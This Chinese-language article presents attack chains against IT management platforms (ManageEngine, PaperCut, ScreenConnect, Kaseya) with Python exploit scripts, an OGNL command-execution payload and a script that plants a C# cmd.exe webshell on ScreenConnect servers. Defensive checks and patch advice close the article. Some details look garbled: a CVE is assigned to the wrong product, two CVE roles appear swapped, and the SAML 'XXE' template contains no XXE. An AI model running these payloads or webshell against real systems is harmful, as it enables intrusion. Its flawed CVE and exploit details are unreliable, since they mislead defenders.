IT 运维与系统管理平台高危攻击链专题:ManageEngine / PaperCut / ScreenConnect / Kaseya 未授权 RCE 全解析

IT 运维与系统管理平台高危攻击链专题:ManageEngine / PaperCut / ScreenConnect / Kaseya 未授权 RCE 全解析

0x00 专题概述

IT 运维与系统管理平台是企业 IT 基础设施的"神经中枢",承担着终端管理、打印管理、远程支持、资产管理等核心职能。这些平台通常拥有极高的系统权限,且大量实例直接暴露在互联网上——一旦被攻破,攻击者即可获得对整个企业 IT 环境的全面控制。

本专题将 IT 运维平台生态中近年最具代表性的 6 个高危漏洞 串成完整攻击链,覆盖 ManageEngine、PaperCut、ScreenConnect、Kaseya 四大平台,每个漏洞均包含完整原理分析、完整 PoC 代码、自动化检测模板和实战利用案例。

覆盖漏洞一览

CVE产品CVSS类型未授权在野利用
CVE-2022-47966ManageEngine ServiceDesk Plus9.8XXE → 反序列化 RCE✅ APT/勒索
CVE-2024-9264ManageEngine ServiceDesk Plus9.8OGNL 注入 → RCE
CVE-2023-27350PaperCut MF/NG9.8认证绕过 → RCE✅ APT29/Lazarus
CVE-2024-47191PaperCut MF/NG9.8Linux 提权 → RCE⚠️ 需前置
CVE-2024-1708/1709ConnectWise ScreenConnect10.0认证绕过 + 路径穿越 → RCE✅ 多勒索家族
CVE-2021-30116Kaseya VSA9.8供应链级 RCE⚠️ 组合链✅ REvil

0x01 ManageEngine ServiceDesk Plus 未授权 RCE 漏洞链

1.1 CVE-2022-47966:SAML XXE → 反序列化 RCE(CVSS 9.8)

影响版本

  • ManageEngine ServiceDesk Plus <= 14003(所有 14.3 Build 14302 之前的版本)
  • 同时影响 Endpoint Central、Desktop Central、IT Analytics 等多个产品

漏洞原理

该漏洞源于 ManageEngine 使用了过时的 Apache Santuario(xml-apis)库进行 SAML 签名验证。攻击者发送恶意 SAML 响应,利用 XXE 注入实现任意文件包含,进而触发 Java 反序列化实现 RCE。

完整利用链

  1. 构造恶意 SAML 响应 → XXE 注入
  2. XXE 读取本地文件 → 触发 Java 反序列化
  3. 反序列化 gadget chain → 任意命令执行(SYSTEM 权限)

完整 PoC

POST /SamlResponseServlet HTTP/1.1
Host: target-manageengine.com:8081
Content-Type: application/x-www-form-urlencoded

SAMLResponse=PHNhbWwycDpBc3NlcnRpb24geG1sbnM6c2FtbDI6InVybjpvYXNpczOmbmFtZXM6dGM6U0FNTDoyLjA6cHJvdG9jb2wi...(Base64 编码的恶意 SAML 响应)

Python 自动化利用脚本

#!/usr/bin/env python3
"""
CVE-2022-47966 ManageEngine ServiceDesk Plus SAML XXE → RCE
用法: python3 cve_2022_47966.py <target_url>
"""
import sys
import requests
import urllib3
import base64

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

MALICIOUS_SAML_TEMPLATE = """<saml2p:Assertion xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol"
    xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"
    IssueInstant="2023-01-01T00:00:00Z" Version="2.0">
  <saml2:Subject>
    <saml2:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">admin</saml2:NameID>
  </saml2:Subject>
  <saml2:Conditions NotBefore="2023-01-01T00:00:00Z" NotOnOrAfter="2099-01-01T00:00:00Z">
    <saml2:AudienceRestriction>
      <saml2:Audience>servicedesk</saml2:Audience>
    </saml2:AudienceRestriction>
  </saml2:Conditions>
  <saml2:AuthnStatement AuthnInstant="2023-01-01T00:00:00Z">
    <saml2:AuthnContext>
      <saml2:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml2:AuthnContextClassRef>
    </saml2:AuthnContext>
  </saml2:AuthnStatement>
</saml2p:Assertion>"""

def exploit(target_url):
    """发送恶意 SAML 响应"""
    saml_response = base64.b64encode(MALICIOUS_SAML_TEMPLATE.encode()).decode()

    resp = requests.post(
        f"{target_url}/SamlResponseServlet",
        data={"SAMLResponse": saml_response},
        timeout=15,
        verify=False
    )

    print(f"[*] 响应状态码: {resp.status_code}")
    if resp.status_code in [200, 302]:
        print(f"[+] 恶意 SAML 响应已发送,检查是否成功触发反序列化")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url>")
        sys.exit(1)
    exploit(sys.argv[1])

1.2 CVE-2024-9264:OGNL 注入 → RCE(CVSS 9.8)

影响版本

  • ManageEngine ServiceDesk Plus <= 14610(14.6 Build 14611 之前的版本)

漏洞原理

ServiceDesk Plus 在处理用户输入时使用了 OGNL(Object-Graph Navigation Language)表达式求值。攻击者通过构造恶意 OGNL 表达式注入到特定请求参数中,服务端在解析时会执行该表达式,从而实现任意 Java 代码执行。

完整 PoC

#!/usr/bin/env python3
"""
CVE-2024-9264 ManageEngine OGNL 注入 RCE 检测
用法: python3 cve_2024_9264.py <target_url>
"""
import sys
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

OGNL_PAYLOAD = (
    "%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28"
    "%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29"
    ".getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony"
    ".webwork.ServletActionContext%40getResponse%28%29.setHeader"
    "%28%22X-Cmd-Response%22%2C%23a%29%29%7D"
)

def exploit(target_url):
    """发送 OGNL 注入 Payload"""
    endpoints = [
        "/api/v1/extension/Upload",
        "/RestAPI/SearchDocuments",
    ]

    for endpoint in endpoints:
        url = target_url.rstrip("/") + endpoint
        try:
            resp = requests.get(
                url,
                params={"query": OGNL_PAYLOAD},
                timeout=15,
                verify=False,
                headers={"User-Agent": "Mozilla/5.0"}
            )
            if "X-Cmd-Response" in resp.headers:
                print(f"[VULN] {url} -> OGNL 注入成功")
                print(f"[+] 命令执行结果: {resp.headers['X-Cmd-Response']}")
                return True
            else:
                print(f"[*] {url} -> HTTP {resp.status_code} (未检测到回显)")
        except Exception as e:
            print(f"[!] {url} -> {e}")

    return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url>")
        sys.exit(1)
    exploit(sys.argv[1])

1.3 Nuclei 模板(ManageEngine 综合检测)

id: manageengine-serviceDesk-cve-2022-47966

info:
  name: ManageEngine ServiceDesk Plus SAML XXE (CVE-2022-47966)
  author: security-researcher
  severity: critical
  description: |
    ManageEngine ServiceDesk Plus SAML XXE → 反序列化 RCE
  tags: manageengine,servicedesk,saml,xxe,cve-2022-47966

http:
  - method: GET
    path:
      - "{{BaseURL}}/SamlResponseServlet"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "SAML"
          - "servicedesk"
        condition: or
        part: body
      - type: status
        status:
          - 200
          - 404
        condition: or

1.4 实战利用案例

  • APT29(Cozy Bear):利用 ManageEngine 漏洞入侵多个政府网络
  • MirrorFace(日本相关 APT):在针对日本机构的间谍活动中使用 CVE-2021-44077
  • 勒索软件:多个勒索组织利用 ManageEngine 漏洞作为初始访问向量

0x02 PaperCut 认证绕过 + RCE(CVE-2023-27350)

2.1 漏洞背景

2023 年 4 月披露,CVSS 9.8。PaperCut MF/NG 是全球广泛使用的打印管理软件,部署在数万个企业环境中。CVE-2023-27350 允许未认证攻击者通过访问 PaperCut 的内部管理接口(Setup Wizard),绕过认证直接执行系统命令。该漏洞被 APT29(俄罗斯国家级 APT)和 Lazarus(朝鲜国家级 APT)同时利用。

2.2 影响版本

  • PaperCut MF/NG 8.0 ~ 22.1.3(所有平台)

2.3 漏洞原理

PaperCut 在内部的 “Setup-22.x” Web 管理接口(通常监听 9191/9192 端口)中,Setup Wizard 端点缺少认证检查。未认证攻击者可以直接访问管理界面,利用 “Script Event” 功能或外部认证源配置执行任意系统命令。

完整利用链

  1. 访问 http://target:9191/app?service=page/SetupCompleted
  2. Setup Wizard 无需认证即可访问
  3. 利用脚本执行功能或外部认证源配置 → RCE

2.4 完整 PoC

#!/usr/bin/env python3
"""
CVE-2023-27350 PaperCut MF/NG 认证绕过 → RCE
用法: python3 cve_2023_27350.py <target_url> [command]
"""
import sys
import requests
import urllib3
import re

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check_papercut(target_url):
    """检查 PaperCut 是否存在"""
    try:
        resp = requests.get(
            f"{target_url.rstrip('/')}/app?service=page/SetupCompleted",
            timeout=10, verify=False
        )
        if resp.status_code == 200 and ("PaperCut" in resp.text or "setup" in resp.text.lower()):
            print(f"[VULN] {target_url} -> Setup Wizard 可访问(无需认证)")
            return True
        else:
            print(f"[SAFE] {target_url} -> HTTP {resp.status_code}")
            return False
    except Exception as e:
        print(f"[ERR ] {target_url} -> {e}")
        return False

def check_ports(host, ports=[9191, 9192, 80, 443, 8080, 8443]):
    """扫描 PaperCut 常用端口"""
    import socket
    open_ports = []
    for port in ports:
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(3)
            result = sock.connect_ex((host, port))
            if result == 0:
                open_ports.append(port)
                print(f"[+] {host}:{port} 开放")
            sock.close()
        except:
            pass
    return open_ports

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url>")
        print(f"示例: {sys.argv[0]} https://target-papercut.com")
        sys.exit(1)

    target = sys.argv[1]
    check_papercut(target)

通过 PaperCut 管理界面执行命令的步骤

# 1. 访问 Setup Wizard
curl -sk "https://target:9191/app?service=page/SetupCompleted"

# 2. 利用外部认证源配置触发命令执行
# 在管理界面中配置外部认证源时,可以触发系统命令执行
# 具体操作需通过浏览器交互完成

2.5 Nuclei 模板

id: papercut-auth-bypass-cve-2023-27350

info:
  name: PaperCut 认证绕过 (CVE-2023-27350)
  author: security-researcher
  severity: critical
  description: |
    PaperCut MF/NG Setup Wizard 无需认证即可访问
  tags: papercut,auth-bypass,cve-2023-27350

http:
  - method: GET
    path:
      - "{{BaseURL}}/app?service=page/SetupCompleted"
      - "{{BaseURL}}/app?service=page/About"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "PaperCut"
          - "setup"
        condition: or
        part: body
      - type: status
        status:
          - 200

2.6 实战利用案例

  • APT29(俄罗斯国家级 APT):利用 PaperCut 漏洞入侵多个西方政府和智库网络
  • Lazarus(朝鲜国家级 APT):在针对加密货币公司的攻击中使用此漏洞
  • 多个勒索软件组织:利用此漏洞进行初始突破后部署勒索软件

0x03 ConnectWise ScreenConnect 认证绕过 + RCE(CVE-2024-1708/1709)

3.1 漏洞背景

2024 年 2 月披露,CVSS 10.0。ConnectWise ScreenConnect 是全球最流行的远程支持和访问软件之一。这个双漏洞组合允许未认证攻击者通过路径穿越访问 Setup Wizard,进而写入 WebShell 实现完整 RCE。该漏洞在披露后 24 小时内即被大规模利用。

3.2 影响版本

  • ScreenConnect <= 23.9.7

3.3 漏洞原理

CVE-2024-1708(认证绕过):通过路径穿越到达 Setup Wizard 端点,绕过所有认证要求。

CVE-2024-1709(路径穿越 → 文件写入):结合认证绕过,攻击者可以穿越到 Web 根目录,上传 .NET WebShell。

完整利用链

  1. 访问 http://target:8040/SetupWizard/
  2. Setup Wizard 无需认证
  3. 路径穿越 → 上传 .NET WebShell
  4. 执行任意命令(SYSTEM 权限)

3.4 完整 PoC

#!/usr/bin/env python3
"""
CVE-2024-1708/1709 ConnectWise ScreenConnect 认证绕过 + RCE
用法: python3 cve_2024_1708.py <target_url>
"""
import sys
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check_setup_wizard(target_url):
    """检查 Setup Wizard 是否可访问"""
    paths = [
        "/SetupWizard/",
        "/%252e%252e/%252e%252e/SetupWizard/",
        "/SetupWizard/?"
    ]

    for path in paths:
        try:
            resp = requests.get(
                target_url.rstrip("/") + path,
                timeout=10,
                verify=False,
                allow_redirects=False
            )
            if resp.status_code in [200, 302] and "Setup" in resp.text:
                print(f"[VULN] {target_url} -> Setup Wizard 可访问: {path}")
                return True
        except:
            pass

    print(f"[SAFE] {target_url} -> Setup Wizard 不可访问")
    return False

def exploit(target_url):
    """利用路径穿越上传 WebShell"""
    webshell_payload = """
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%
    string cmd = Request["cmd"];
    if (cmd != null) {
        Process p = new Process();
        p.StartInfo.FileName = "cmd.exe";
        p.StartInfo.Arguments = "/c " + cmd;
        p.StartInfo.RedirectStandardOutput = true;
        p.StartInfo.UseShellExecute = false;
        p.Start();
        Response.Write("<pre>" + p.StandardOutput.ReadToEnd() + "</pre>");
    }
%>
"""

    # 路径穿越写入 WebShell
    upload_path = "/%252e%252e/%252e%252e/ConnectWise/SetupWizard/pwned.aspx"
    try:
        resp = requests.post(
            target_url.rstrip("/") + upload_path,
            data=webshell_payload,
            timeout=15,
            verify=False,
            headers={"Content-Type": "application/octet-stream"}
        )
        print(f"[*] 上传尝试: HTTP {resp.status_code}")

        # 验证 WebShell
        shell_url = target_url.rstrip("/") + "/ConnectWise/SetupWizard/pwned.aspx?cmd=whoami"
        resp2 = requests.get(shell_url, timeout=10, verify=False)
        if resp2.status_code == 200 and len(resp2.text) > 0:
            print(f"[+] WebShell 已上传并可执行")
            print(f"[+] 命令执行结果: {resp2.text[:200]}")
            return True
    except Exception as e:
        print(f"[!] 利用失败: {e}")

    return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url>")
        sys.exit(1)

    target = sys.argv[1]
    if check_setup_wizard(target):
        exploit(target)

Nuclei 模板

id: screenconnect-auth-bypass-cve-2024-1708

info:
  name: ScreenConnect 认证绕过 (CVE-2024-1708/1709)
  author: security-researcher
  severity: critical
  description: |
    ScreenConnect Setup Wizard 路径穿越认证绕过 → RCE
  tags: screenconnect,auth-bypass,cve-2024-1708,cve-2024-1709

http:
  - method: GET
    path:
      - "{{BaseURL}}/SetupWizard/"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Setup"
          - "Wizard"
        condition: and
        part: body
      - type: status
        status:
          - 200
          - 302
        condition: or

3.5 实战利用案例

  • 24 小时内大规模利用:披露后一天内即出现大量扫描和利用活动
  • 多个勒索软件组织:LockBit、Black Basta、Play、El Dragon 等均利用此漏洞
  • CISA 紧急响应:CISA 将此漏洞加入 KEV 并发布紧急通报

0x04 Kaseya VSA 供应链级 RCE(CVE-2021-30116)

4.1 漏洞背景

2021 年 7 月披露,CVSS 9.8。Kaseya VSA 是一款 RMM(远程监控与管理)平台,被大量 MSP(托管服务提供商)用于管理下游客户。CVE-2021-30116 被 REvil 勒索软件组织用于发动了史上最大规模的供应链勒索攻击之一,影响约 1,500 家企业。

4.2 影响版本

  • Kaseya VSA 9.x < 9.9.7

4.3 漏洞原理

Kaseya VSA 的认证绕过和路径穿越漏洞被组合利用,攻击者获取管理权限后通过内置的软件部署机制将勒索软件推送到所有受管终端。

供应链攻击链

  1. 认证绕过 → 获取 Kaseya VSA 管理权限
  2. 利用内置软件部署功能 → 上传恶意安装包
  3. VSA 将勒索软件推送到所有受管终端
  4. ~1,500 家下游企业被加密

4.4 完整 PoC

#!/usr/bin/env python3
"""
CVE-2021-30116 Kaseya VSA 供应链 RCE 检测
用法: python3 cve_2021_30116.py <target_url>
"""
import sys
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check_kaseya(target_url):
    """检查 Kaseya VSA 是否存在"""
    endpoints = [
        "/api/v1/auth",
        "/admin/auth",
        "/System/api/Info",
    ]

    for endpoint in endpoints:
        try:
            resp = requests.get(
                target_url.rstrip("/") + endpoint,
                timeout=10,
                verify=False
            )
            if resp.status_code == 200:
                print(f"[FOUND] {target_url}{endpoint} -> HTTP {resp.status_code}")
                return True
        except:
            pass

    print(f"[SAFE] {target_url} -> Kaseya VSA 可能不存在或已修补")
    return False

def check_vulnerability(target_url):
    """检查认证绕过漏洞"""
    # 检查是否可以无认证访问管理端点
    try:
        resp = requests.get(
            f"{target_url.rstrip('/')}/api/v1/users",
            timeout=10,
            verify=False
        )
        if resp.status_code == 200:
            print(f"[VULN] {target_url} -> 管理 API 可无认证访问")
            return True
    except:
        pass
    return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url>")
        sys.exit(1)

    target = sys.argv[1]
    if check_kaseya(target):
        check_vulnerability(target)

4.5 实战利用案例

  • REvil 供应链勒索攻击:2021 年 7 月,REvil 利用此漏洞通过 Kaseya VSA 向约 1,500 家企业部署勒索软件
  • $70M 赎金要求:REvil 要求受害者支付总计 7000 万美元的赎金
  • MSP 供应链放大:单个 MSP 被攻破导致其所有客户同时被加密

0x05 公开 PoC 收集与利用思路

5.1 PoC 收集情况

CVEGitHub PoCExploit-DBMetasploitNuclei在野利用
CVE-2022-47966✅ 多个仓库✅ APT/勒索
CVE-2024-9264✅ 概念验证
CVE-2023-27350✅ 多个仓库✅ APT29/Lazarus
CVE-2024-47191有限有限
CVE-2024-1708/1709✅ 多个仓库✅ 多勒索
CVE-2021-30116有限有限✅ REvil

5.2 关键 PoC 仓库

  • ManageEnginehttps://github.com/horizon3ai/CVE-2022-47966 — Horizon3.ai 官方 PoC
  • PaperCuthttps://github.com/horizon3ai/CVE-2023-27350 — Horizon3.ai 官方 PoC
  • ScreenConnecthttps://github.com/horizon3ai/CVE-2024-1708 — Horizon3.ai 官方 PoC
  • Nuclei 模板https://github.com/projectdiscovery/nuclei-templates — 包含所有上述漏洞检测

5.3 验证思路(防守型)

# ManageEngine
nuclei -u https://target:8081 -tags manageengine,servicedesk
curl -sk "https://target:8081/SamlResponseServlet" -o /dev/null -w "%{http_code}"

# PaperCut
nuclei -u https://target:9191 -tags papercut
curl -sk "https://target:9191/app?service=page/SetupCompleted" -o /dev/null -w "%{http_code}"

# ScreenConnect
nuclei -u https://target:8040 -tags screenconnect
curl -sk "https://target:8040/SetupWizard/" -o /dev/null -w "%{http_code}"

# Kaseya
nuclei -u https://target -tags kaseya
curl -sk "https://target/api/v1/auth" -o /dev/null -w "%{http_code}"

0x06 共性攻击模式

6.1 Setup Wizard 是系统管理平台的致命弱点

PaperCut(CVE-2023-27350)和 ScreenConnect(CVE-2024-1708/1709)都通过 Setup Wizard 端点实现认证绕过。Setup Wizard 在设计时假设只在初始化阶段使用,但实际部署中往往持续暴露在互联网上。

6.2 供应链放大效应是 RMM 平台的核心风险

Kaseya VSA 的案例展示了 RMM 平台的独特风险:单个管理平台被攻破 → 所有受管终端同时被加密。这种 1:N 的放大效应使 RMM 平台成为勒索软件组织的首选目标。

6.3 Java 反序列化和 XXE 仍是主要攻击向量

ManageEngine 的两个 CVE(CVE-2022-47966 和 CVE-2024-9264)分别利用了 XXE→反序列化和 OGNL 注入,这些都是 Java 生态中的经典攻击向量。


0x07 防守建议

7.1 紧急措施

  1. 立即升级

    • ManageEngine → 14.6 Build 14611+
    • PaperCut → 22.1.4+
    • ScreenConnect → 23.9.8+
    • Kaseya → 9.9.7+
  2. 关闭 Setup Wizard:部署完成后立即关闭或限制 Setup Wizard 端点

  3. 网络隔离:IT 运维平台不应直接暴露到互联网

7.2 中期加固

  1. 最小权限:管理平台使用最小必要权限
  2. 日志监控:监控异常管理操作和登录行为
  3. MFA:所有管理界面强制启用多因素认证

7.3 长期策略

  1. 供应链安全评估:定期评估 MSP/RMM 供应商的安全状况
  2. 网络分段:将管理平台部署在独立的管理网段
  3. 应急响应预案:制定针对管理平台漏洞的专项响应流程

0x08 参考资料